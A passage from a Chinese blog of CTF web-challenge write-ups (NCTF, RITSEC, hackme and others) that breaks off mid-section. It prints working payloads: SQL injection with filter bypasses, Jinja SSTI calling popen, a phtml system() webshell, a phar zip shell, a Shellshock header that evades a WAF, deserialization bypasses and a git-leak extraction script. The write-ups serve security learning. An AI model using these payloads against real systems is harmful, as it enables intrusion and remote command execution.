Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

NCTF Web wp

前言

近期刚刚打完NCTF,成绩还算理想,虽然我们打了校内第二,总榜第七,但是赛后发现了很多问题,借此复盘一下这次的比赛。(Web题12道只做出了七道题目,赛后做了一道,实力还是欠缺一点)

签到题

抓包,得到flag.

滴!晨跑打卡

很明显这是一道注入题,抓包爆破测试一下过滤的字符发现空格,–,#,*等被过滤了,使用连接词测试一下语句构成:

1
1'or'1'='1

发现正常回显,可以判断大概是’ $_POST[\’XXX\’] ‘这种类型,空格可以使用%0b绕过,注释被过滤我们只要拼接语句让其正常查询不报错就行了,所以大致可以构造payload:

1
1'union%0bselect%0b1,2,3%0b'

可以看到回显位:

接着按照套路查询就行了,最后一步注意要标记是哪个数据库:

得到flag.

Go Lakers

这题一开始套路和签到题一样,得抓包,拉到最下面发现这样一句话:

按照要求post viewsource=1得到源码:

这里我当时做的时候掉进陷阱了,我以为要绕过所有的条件才能利用file_get_contents()得到源码,这里只用传入加密后的file_参数就能输出源码了,这里分享绕过的方式吧。

1
2
3
4
5
6

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){
header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp');
}else{
echo 'great';
}

第一个条件可以使用XFF: 127.0.0.1来绕过,但是会有个提示:

使用Client-IP就行了,第二个使用php://input协议传入字符就行,第三个我们可以使用多线程爆破,毕竟只有10000个数据。接下来就是加密函数了,按照解密函数写就行了:

1
2
3
4
5
6
7
function en_code($value){
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])+$i*2);
}
return base64_encode($result)
}

直接读flag.php就能得到flag.

全球最大交友网站

题目就给了一个很直接的提示,猜测应该是.git泄露,测试果然发现没错:

使用Githack脚本跑一下只能跑出一个README.md,打开发现了这样一句话:

1
Allsource files are in git tag1.0

emmm,这就能联想这一篇文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
题目思路也很简单,就是让我们提取出源码就能得到flag了,具体原理可以看上面离别歌大师傅这篇文章,这里不讲太详细。
首先我们访问commit的一个“链接”:

1
http://ctfgame.acdxvfsvd.net:20003/.git/refs/tags/1.0

得到一串字符串,按照.git文件生成原理,我们访问:

1
http://ctfgame.acdxvfsvd.net:20003/.git/objects/01/b878ee5f39810a02f06b4a560571413020ea42

得到一个文件,通过对这个文件进行zlib解压发现了这个文件指向了两个文件:

emmm,这里说下原理,我们就根据这两个字符串,按照刚刚的方法得到下一个文件,zlib解压,对文件的头进行判断,重复过程最终得到最初的文件,最后下载的文件我们没办法zlib解压,可以通过git cat-file xxxxx得到最终文件。这里贴个离别歌改过的脚本,我写了个注释有利于标识该改哪里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys
import requests
import os
import zlib
import re
import Queue
import binascii

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)"
" Gecko/20100101 Firefox/46.0"
}#改头
target = "http://ctfgame.acdxvfsvd.net:20003/.git/" #地址
output_folder = "./n1ctf/" #储存文件的目录

class GitDdatabase(object):
def __init__(self, data):
self.data = data
self.pos = 0

def read_to_next_char(self, char=" "):
pos = self.data.index(char, self.pos)
ret = self.read_exact(pos)
self.pos += 1
return ret

def read_exact(self, size):
ret = self.data[self.pos:size]
self.pos = size
return ret

def read_blob(self):
return re.sub('^blob \d+?\00', '', self.data)

def read_tree(self):
mode = self.read_to_next_char(" ")
filename = self.read_to_next_char("\x00")
sha1 = self.read_exact(self.pos + 20)
return mode, filename, sha1

def get_db_type(self):
file_sort = self.read_to_next_char(" ")
file_size = self.read_to_next_char("\x00")
file_size = int(file_size)
return file_sort, file_size

def request_object(id):
global target
folder = 'objects/%s/' % id[:2]
response = requests.get(target + folder + id[2:])
if response.status_code == 200:
return zlib.decompress(response.content)
else:
return False

if __name__ == "__main__":
response = requests.get(target + "refs/tags/1.0", headers=headers)
if response.status_code == 404:
print("No this tag")
sys.exit(0)
data = response.content
commit_id = data.strip()

next_id = commit_id ##可以更改要找的目录的值,即可查找出其目录下的源码
print next_id
data = request_object(next_id)
if not data:
print("No this commit id")
sys.exit(0)

rex = re.search(ur"commit .*?([a-f0-9]{40})", data)
next_id = rex.group(1)
data = request_object(next_id)
if not data:
print("No this commit id")
sys.exit(0)

tasks = Queue.Queue()
gd = GitDdatabase(data)
file_sort, file_size = gd.get_db_type()
while 1:
try:
(mode, filename, sha1) = gd.read_tree()
basedir = "./"
tasks.put((mode, filename, sha1, basedir))
except ValueError as e:
break

while 1:
if tasks.empty():
break
(mode, filename, sha1, basedir) = tasks.get()
sha1 = binascii.b2a_hex(sha1)
data = request_object(sha1)
if not data:
continue

gd = GitDdatabase(data)
file_sort, file_size = gd.get_db_type()
if file_sort == "tree":
basedir = os.path.join(basedir, filename)
while 1:
try:
(mode, filename, sha1) = gd.read_tree()
tasks.put((mode, filename, sha1, basedir))
except ValueError as e:
break
elif file_sort == "blob":
data = gd.read_blob()
folder = os.path.join(output_folder, basedir)
if not os.path.exists(folder):
os.makedirs(folder)
filename = os.path.join(folder, filename)
with open(filename, "wb") as f:
f.write(data)
print("[+] Write {filename} success".format(filename=filename))

最后可以得到两个flag,一真一假自己尝试。

小绿草之最强大脑

这个单纯就是考脚本能力了,题目有个提示:告诉我们有源码泄露,访问index.php.bak得到源码:

里面关键点就在于intval()这个函数,这个函数在处理太过于大的数字的时候会出现漏洞,虽然说可以防止整数溢出漏洞,但是通过这样计算出的值就会出现bug。
通过本地测试,测试出在数字足够大时,intval()一直为2147483647,如图:

但是在服务器上测试值却为9223372036854775807:

最后测试也是9223372036854775807没错,所以脚本如下(记得使用session,以及time.sleep函数):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding=utf-8
import requests
import time
def cal(str): #传入抓取的源码
pstr = '<div style="display:inline;">'
jstr = ' </div><div style="display:inline;">'
num = len(jstr)
index = str.index(pstr) + len(pstr)
calstr = ""
for i in range(0, 71):
calnum = index + i * num
calstr = calstr + str[calnum]
if "=" in calstr:
calstr = calstr.replace("=", "")
if "e" in calstr:
calstr = calstr.replace("e", "")
if "v" in calstr:
calstr = calstr.replace("v", "")
print calstr
return eval(calstr)
def test(str): #传入抓取的源码
pstr = '<div style="display:inline;">'
jstr = ' </div><div style="display:inline;">'
num = len(jstr)
index = str.index(pstr) + len(pstr)
calstr = ""
for i in range(0, 71):
calnum = index + i * num
calstr = calstr + str[calnum]
if "=" in calstr:
calstr = calstr.replace("=", "")
if "e" in calstr:
calstr = calstr.replace("e", "")
if "v" in calstr:
calstr = calstr.replace("v", "")
print calstr
url = "http://ctfgame.acdxvfsvd.net:20004/"
s = requests.session()
re = s.get(url)
content = re.content
count = cal(content)
time.sleep(1)
res = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count + 9223372036854775807})
count1 = cal(res.content)
time.sleep(1)
res1 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count1 + 9223372036854775807})
count2 = cal(res1.content)
time.sleep(1)
res2 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count2 + 9223372036854775807})
count3 = cal(res2.content)
time.sleep(1)
res3 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count3 + 9223372036854775807})
count4 = cal(res3.content)
time.sleep(1)
res4 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count4 + 9223372036854775807})
print res4.content

五次之后得到flag.

基本操作

这题目当时卡死是因为没意识到guest/guest账号的存在,亏我还用50000条弱密码在爆破root密码,欸,要不然是可以做出来的。
首先可以查看下info.php,里面有一些最基本的信息。
使用guest/guest登入,发现这个东西:

这东西写在这摆明了说来日我啊,这个可以联想到之前Chamd5爆出的这个漏洞:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF/jxV/9/cEb5pShRgewJe/ttJn2gIlIyGF/bsgGmzcbsV%2bLmMK#rd
具体源码分析可以看这一篇文章,接着利用点就很清晰了,我们只要把命令写进本地文件,然后通过本地文件包含执行命令就能拿到flag。这里我们可以利用session文件,session文件会记录当前cookies用户的操作,我们只要执行一个包含了命令的操作就行了。接下来就很简单了。
首先我们记录下现在cookies中phpmyadmin的值,为:

1
ft262cg8vj2v0r8feei75nlveojcmu32

通过执行查询操作,把我们的命令写入本地文件:

写入成功利用本地文件包含漏洞执行命令,session文件默认保存在/tmp/sess_你的sessionid下:

可以看到命令成功执行了,接着读取根目录文件,发现下面有个nctfffffffff文件,读取得到flag:

flask真香

这看题目第一反应就是ssti,进去一测试,果不其然:

接着测试发现config,items,for,mro等等都被过滤了,但是有个特点,在我测试双写绕过时发现了这貌似是个贪婪模式,没办法进行绕过,但是前段时间Tykyo里面有道题目是把config置换为了none了,我在想会不会这里也是一样的,接着测试,发现了果然是这样:

接着普及几个魔术方法,这些都是用来找类调用所使用的方法:

1
2
3
4
5
6
7
8
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

首先找到object类:

查看有啥可利用的子类:

emmmm,在357位置找到了了一个warnings,这下面是可以调用os模块的,接着调出可以执行命令的函数popen就可以读取文件了,payload如下:

1
{{''.__claconfigss__.__baconfigse__.__subclaconfigsses__()[357]()._module.__buiconfigltins__['__imconfigport__']('oconfigs').poconfigpen('ls -a').read()}}

在根目录下发现了Th1s__is_S3cret文件,读取文件就能得到flag.

Funny_Emoji I

这题目特别有意思,里面表情包可好玩了!
打开链接,发现有个emoji功能,但是需要登入,既然有注册页面那就先注册,进去emoji功能界面:

发现我们可以选择图片,下面有个文本框可以任意输入,点击旁边的按钮就能得到表情包。不过在查看页面源代码的时候发现了这样一点:

这会远程加载一个文件,我们可以访问一下,尝试更改参数发现了,image.php会根据我们传入的name参数改变图片样式。
接着没啥思路了…..不过刚刚查看源码的时候,发现了一段js混淆加密的代码,解码发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function encccccrypt(s) {
flag = '';
for (i = 0; i < s.length; i++) {
flag += String.fromCharCode(s.charCodeAt(i) ^ key.charCodeAt(i % key.length))
}
return btoa(flag)
}
var key = 'nctf23333';

function hold_data(s) {
return s.replace('\n', '%0a')
}
var enccccrypt = atob;

function get_images() {
var s = document.getElementById('sel');
var i = document.getElementById('ima');
var index = s.selectedIndex;
i.src = "images/" + s.options[index].value + ".jpg"
}

function get_my_image() {
var s = document.getElementById('sel');
var i = document.getElementById('ima2');
var t = document.getElementById('text');
var index = s.selectedIndex;
var im_name = s.options[index].value;
var im_text = t.value;
var ptl = encccccrypt(enccccrypt("ZGF0YTovL3RleHQvcGxhaW4s"));
var data = hold_data(im_text);
i.src = "image.php?name=" + im_name + "&data=" + data + "&ptl=" + ptl
}

先把里面可疑一段base64解码,发现:

emmmm,这貌似可以通过data协议写入shell。按照它加密的方式我们尝试这样的payload:

1
data://text/plain,<?php phpinfo(); ?>

但是回显不太对:

按照原来的字符输出了,这里让我想到一篇文章,说的是如果使用file_put_contents()函数测试,那么会按照原来的字符串输出,所以尝试读一下flag.php,因为data参数的值是接在ptl参数后的,所以data参数不传值,flag到手:

近期比赛的归纳总结

前言

最近比赛一波接一波,但是我又是忙着演出排练没时间打,好不容易抽出时间来比赛又被打的自闭又自闭,写个博客记录一下原来没注意过的小技巧和骚操作吧。

Easy_upload

说来惭愧,这是新生赛的一道题目,真的学到了这个技巧。
打开页面是一个普通的界面,上传png文件发现了一个过滤:

碰到这种过滤,我们可以使用phtml的文件来进行绕过,phtml文件可以把文件中存在html的标签进行处理再作为php文件执行,我们可以上传一个如下的phtml的文件:

1
2
3
<script language="php">
system($_GET['a']);
</script>

接着找到文件目录执行?a=cd ..;ls查看文件,读取flag.php就行了。

Crazy Train

这题目真的学到了很多东西。这是一道关于Ruby的SSTI注入的题目,里面的技巧会慢慢讲。
打开网站发现只是一个简单的留言系统,只有一个新建文章的功能:

点进去发现只有文章标题和文章内容可以编辑:

emmmmm,一开始我是想尝试xss的,但是发现我们好像并不能确定文章是否传过去了,也不能确认是否有admin查看我们的文章,所以只能尝试其他思路…..抓包看看有没有可疑参数:

发现了一个隐藏的参数,结合刚刚我们传文章过去无回显可以猜测一下是不是ssti注入,使用BuiltWith确定框架是Ruby,接着可以尝试一下如下攻击:

1
<%= 2 * 2 %>


接下来就简单多了,查了查Ruby的File类读文件调用方式,如下:

1
File.open('路径').read

尝试读取/etc/passwd:

接下来的问题就是不知道我们所读取flag的路径在哪里,经过查阅Ruby有关dir类发现了这样一个函数:

接下来就简单了,毕竟什么过滤也没有,操作如下:


Archivr

题目分析

emmmmm,睡了一觉起来发现题目已经关了,真的无语,下一次尽量熬夜复现完吧。
点开链接发现是一个可以上传文件的系统,但是只能上传小于5kb的文件,上传文件会得到一个key,通过这个key能下载我们这个文件,不过链接的参数有一个可利用漏洞,文件包含:

1
http://fun.ritsec.club:8004/index.php?page=upload

利用文件包含漏洞就能读取出所有的源码,初步审计一波,我把有价值的给挑出来分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_FILES['upload']['size'] > 5000) { //max 5KB
die("File too large!");
}
$filename = $_FILES['upload']['name'];


$upload_time = time();
$upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

$ext = "";
if (strpos($filename, '.') !== false) {
$f_ext = explode(".", $filename)[1];
if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false && stripos($f_ext, "pht") === false) {
$ext = "." . $f_ext;
} else {
$ext = ".dat";
}
} else {
$ext = ".dat";
}
$upload_path = $upload_dir . md5($upload_time) . $ext;
mkdir($upload_dir, 0770, true);

//Enforce maximum of 10 files
$dir = new DirLister($upload_dir);
if ($dir->getCount() >= 10) {
unlink($upload_dir . $dir->getOldestFile());
}

move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
$key = $upload_time . $ext;
}

这里给了上传文件的储存目录生成方式,以及两个黑名单,通过检查php?或者pht?来过滤文件的后缀名。目录通过获取我们的ip地址以及当前的时间戳来生成最终地址。

phar协议

题目过滤了php,php5,phtml等等,通过用一些后缀名来绕过貌似行不通,这里用到了一种协议-phar协议。
phar协议适用于php>5.3.0版本,官方文档如下:

简单来说,就是一个打包解包的过程,在我们传输压缩文件的时候,服务器会对压缩包进行解压然后执行文件内容,也就是说我们可以利用phar协议去解析我们上传的压缩包,例如:
我们新建一个php文件如下:

1
<?php echo system($_GET["a"]); ?>

将它压缩为zip文件,然后上传使用phar协议去读取../../xxx.zip/xxx.php就能执行任意命令了。

反向代理

一般来说,我们通过外网的服务器去请求内网数据的时候,外网的代理服务器就像一个跳板一样,让我们通过它去访问内网的服务器,正向代理的服务器作用也仅仅是作为跳板,但是反向代理不一样,我们访问反向代理服务器,代理服务器会通过自己的ip去访问内网服务器,然后将接受的信息返回给我们,反向代理服务器对外表现就像是一个内网服务器一样。具体分析可以参考:
https://www.cnblogs.com/Anker/p/6056540.html

解题方法

既然我们可以通过phar协议去执行命令,那么现在问题就是如何找到目录,我们在源码中看到了服务器会将我们的ip进行md5然后加上当前时间戳的md5加后缀名来生成路径,但是在我加密了我的ip,去访问路径的时候发现返回了404,这就很奇怪,按理来说应该没问题,但是目录不存在是怎么回事?
这就是反向代理的原因了,我们访问的服务器是一个代理服务器,而我们所要的资源则是在内网服务器上,所以代理服务器在访问内网资源时,所用的ip就是它本身ip,并不是我们自身的ip,那问题又来了,我们如何得到服务器ip呢?
一个大师傅想到了所有的题目都是部署在一个服务器上,那么可以通过其他的题目来获取ip地址啊,例如上一题的Ruby SSTI注入,我们可以获取所有环境变量的信息:


通过request类来读取服务器ip:

1
@_request.instance_variable_get(:env)


上传zip文件,接着访问:

1
http://fun.ritsec.club:8004/uploads/98d3cbed97b0bc491c000455c9f8e6fb/md5(time()).zip/1.php?a=ls

读flag文件就行了。

php_is_funny_chal8

最近刷题接触到了几道反序列化问题,发现有道题目还是挺好的,补充了一个新的知识点。
题目点开扫目录,发现了一个index.php.bak,审计一波代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php 
ini_set("open_basedir",dirname(__FILE__));
#GOAL: file_get_content('sbztz.php') : )

class just4fun {
public $filename;

function __toString() {
return @file_get_contents($this->filename);
}
}

$data = stripslashes($_GET['data']);
if (!$data) {
die("hello from y");
}

$token = $data[0];
$pass = true;

switch ( $token ) {
case 'a' :
case 'O' :
case 'b' :
case 'i' :
case 'd' :
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
break;

default:
$pass = false;

}

if (!$pass) {
die("TKS L.N.");
}

echo unserialize($data);
?>
<!-- ./challenge8.php.bak -->

题目要求就是让我们把sbztz.php给包含出,源码给出了一个类,类里面有一个__toString()函数,只要我们通过序列化触发类里面的函数就行了,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class just4fun {
public $filename;

function __toString() {
return @file_get_contents($this->filename);
}
}
$a = new just4fun("a");
$a->filename = "sbztz.php";
echo serialize($a);
?>

但是源码有一个过滤需要绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$token = $data[0];
$pass = true;

switch ( $token ) {
case 'a' :
case 'O' :
case 'b' :
case 'i' :
case 'd' :
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
break;

default:
$pass = false;

}

if (!$pass) {
die("TKS L.N.");
}

emmm,也就是说我们输入的data不能是例如开头为O:123:这种类型的,这里提供了一种比较特殊的绕过方式,分析可以看这篇文章:http://www.phpbug.cn/archives/32.html。
里面提到了在我们生成:

1
O:+8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}

这个payload,在Object后加个+依旧可以正常的反序列化,所以最终payload为

1
O:+8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}

PS:直接传参还不行,必须对符号都进行url编码才能得到flag,具体原因不太清楚.

结合CVE的一道命令执行弹shell的题目

前记

这是hackme一道题目,这道题目结合了一个高危的cve以及弹shell的操作,从这题目学到了挺多东西的,为此把这道题目记录一下。

初步测试

题目地址:https://command-executor.hackme.inndy.tw/
打开发现网页有几个明显的功能:

第一个页面是man的函数说明,第二个功能是则是上传文件,第三个功能就是输入命令执行了,但是被限制的很死,也就是说只能执行ls以及env,第四个就是ls读取文件,但是只能读取四个目录的文件,不过问题不大,可以更改file参数来更改读取目录。不过点点的时候发现了一个很明显的漏洞:

这里很容易想到可以尝试用文件包含来读取源码:

1
https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index

读取出index.php源码,挑出一些值得审计的代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

审计index.php的时候,发现了一个黑名单,过滤了/flag以及(){ :; };,这个时候还并不知道有何作用,接着查看untar的源码,发现网页只是把我们上传的文件名进行解压,并没什么卵用。接下来的源码没啥利用价值。
根据飘零师傅的wp,飘零师傅通过观察到了env以及putenv联想到了之前的一个cve,具体的分析如下:

1
http://www.freebuf.com/articles/system/45390.html

接着飘零师傅推荐这篇生成exp的文章:

1
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php


payload如下:

1
wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

接着可以对比一下之前的源码,发现出现漏洞的源码十分相似,我们可以尝试一下payload的实用性,不过之前在waf中我们看到过滤了payload的一部分:

1
2
3
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

我们可以通过在:;之间加空格来绕过,所以尝试的payload如下:

1
wget --header="X-Exploit: () { : ; }; echo This is a test" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"


发现成功执行了命令,那接着我们可以尝试读取一下/etc/passwd

可以发现flag文件夹在根目录下,尝试读取一下。

突然想起来,/flag被过滤了,这里我们用通配符绕过,但是并没有任何回显,我们用第四个功能ls看啥情况。

发现我们没权限读取这个文件,需要root权限,但是下面flag-reader.c可以读取,我们尝试读一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

看不太懂,套用一叶飘零师傅的话就是,这个命令可以1秒之内把他输出的再输入回去,就可以打出文件内容。
运行这个c,再把这个c输出在1s内再输回去,但是纯靠这样的交互,速度极慢,所以容易想到,要不要拿个shell?接着我们可以利用bash弹shell到我们的服务器上:

有了shell,现在就是如何读取flag的问题了,这里借鉴了一叶飘零师傅的思路,通过找到可写入文件的目录,利用了linux下的重定向,将输出写到某个文件中,再自动输入即可,这样即可达到目的。通过ls的功能我们可以看到tmp目录可以写入,所以参考的payload如下:

1
flag-reader flag > /var/tmp/flllag < /var/tmp/flllag

接着读取这个文件就行了。
PS:记得删除自己所留下的文件,要不然可能导致题目没办法做了。不过在tmp目录下一堆别人留下的flag文件,随便读一个就行了。

近期比赛学习总结

前记

最近又陷入了自闭自闭又自闭的环节,先是pico高中生比赛被吊打,接着又是inctf被吊打,周末又被护网杯题目弄自闭,对此只能说自己技术太菜,总结一下最近新学到的知识点吧(由于比赛打完之后环境关了,所以只能结合大师傅们的wp进行复现)。

easy tornado

这是护网杯的签到题,说句实话一开始打就知道这一次比赛又是凶多吉少,点进去发现有三个文件:

1
2
3
4
5
6
7
8
Orz.txt 
render()

hint.txt
md5(cookie_secret + md5(filename))

flag.txt
/fllllllllllag

赛后梳理起来,提示真是太明显了,当然这是马后炮了,render()就说明了这里用了渲染,就可能存在ssti注入,果不其然在报错页面发现了msg这个参数,通过利用msg=4测试发现返回了4,也就是说明可以通过ssti注入得到数据。
接着是url构成如下:

1
file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a

hint.txt提示签名的生成方式,以及flag.txt提示了/flllllllllllg也就是说我们只要读取这个文件夹就能得到flag,那现在问题就是通过ssti注入得到cookie_secret,通过测试发现了一个问题就是ssti注入过滤了很多东西,只能读取变量。
既然题目提示了easy tornado,那么我们可以查询源码找突破口,这部分直接搜索cookie发现了在handler.settings存放了cookie_secret,直接通过msg=读取出cookie_secret再通过hint中提示的签名方式生成/fllllllllg的签名读取出flag。
这道题目有两个点坑,导致我没做出来….一个就是报错界面了,之后一定要主要一些报错界面或者一些不太重要的界面,既然存在就有他的作用,接着第二个点就是没认真阅读tornado的源码,如果存在ssti注入那模板一定得认真阅读,特别是关于敏感信息的一些文件。

ltshop

这是一道关于条件竞争以及整数溢出的题目,一开始只有20块只能买4个辣条,通过开多线程跑出来发现自己花了20元买了7个辣条,接着在兑换的时候利用整数溢出漏洞买足够辣条通过兑换flag得到flag。

条件竞争

条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
在CTF中很容易出现这种漏洞,特别是在文件操作以及金额同步的情形下,例如上面这道题目,在购买辣条时,后端操作应该是先把辣条数+1,然后再扣除费用,当我们开多线程发送多条购买辣条的请求时,服务端同时处理多条请求,同步处理不当,很有可能导致一包辣条的钱购买了多包的情况,或者是在金额即将归零时购买了辣条导致金额为负值。
或者是在上传文件时,服务器先将文件储存再通过检测后缀名将黑名单的文件进行删除,这里可以在文件删除之前访问文件,从而执行文件中的命令,例如可以在文件中写入file_put_contents()再生成一个shell,或者是将文件名改成白名单的文件。

整数溢出

准确来说这并不是属于web方面的内容,但是web杂的很,结合啥的漏洞都可能出现,像之前接触到的sprintf()格式化漏洞,结合mysql就出了一道盲注题目,还有pwn方面的结合web就有了沙箱逃逸这个专题…..话不多说…
一般来说,整形变量有int,short,long等,但是很多程序员在使用typedef定义新整形变量时会随缘定义,这就导致一些程序在跨平台的兼容性很差,所以业界有了一个整形变量的标准。如下:

1
2
3
4
5
6
7
8
9
10
typedef signed char             int8_t;   
typedef short int int16_t;
typedef int int32_t;
typedef long int int64_t;
typedef long long int int64_t;
typedef unsigned char uint8_t;
typedef unsigned short int uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long int uint64_t;
typedef unsigned long long int uint64_t;

而在c中,这些整数储存占用字节如下:

溢出的方式根据数据类型有两种不同的类型:
第一种上界溢出,比如short int这个类型,它储存的数据从-32678~32677,如果我们操作32677,让其加1,那它储存的数据块最后一位储存符号位的字节就被溢出的数据给更改了,也就是说直接变为了最小的-32678,如果根据算式来看就是32677+1=-32678,这种带符号位在web网页中不常见,常见的是unsigned类型,再比如说unsigned short int数据储存的范围是0~65535,要是对65535操作加1,也就变成了0,通过算式说明就是:65535+1=0,也就是说我如果在网页中购买大量商品,后台数据处理出现整数溢出,那我们就能花1件的钱来购买65537件商品。
第二种为下界溢出,就类似上界溢出的逆运算,利用点和上界溢出一样,就粗略带过了…

Fancy-alive-monitoring

直接上源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").value;
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
if (!chk) {
alert("Wrong IP format.");
return false;
} else {
document.getElementById("monitor").submit();
}
}
</script>
</head>
<body>
<h1>Monitoring Tool ver 0.1</h1>
<form id="monitor" action="index.php" method="post" onsubmit="return false;">
<p> Input IP address of the target host
<input id="ip" name="ip" type="text">
</p>
<input type="button" value="Go!" onclick="check()">
</form>
<hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
// super fancy regex check!
if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
exec('ping -c 1 '.$ip, $cmd_result);
foreach($cmd_result as $str){
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
} else {
echo "Wrong IP Format.";
}
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

题目主要是考源码审计以及命令执行,题目在客户端和服务端分别对ip进行了检测,第一次在客户端的检测如下:

1
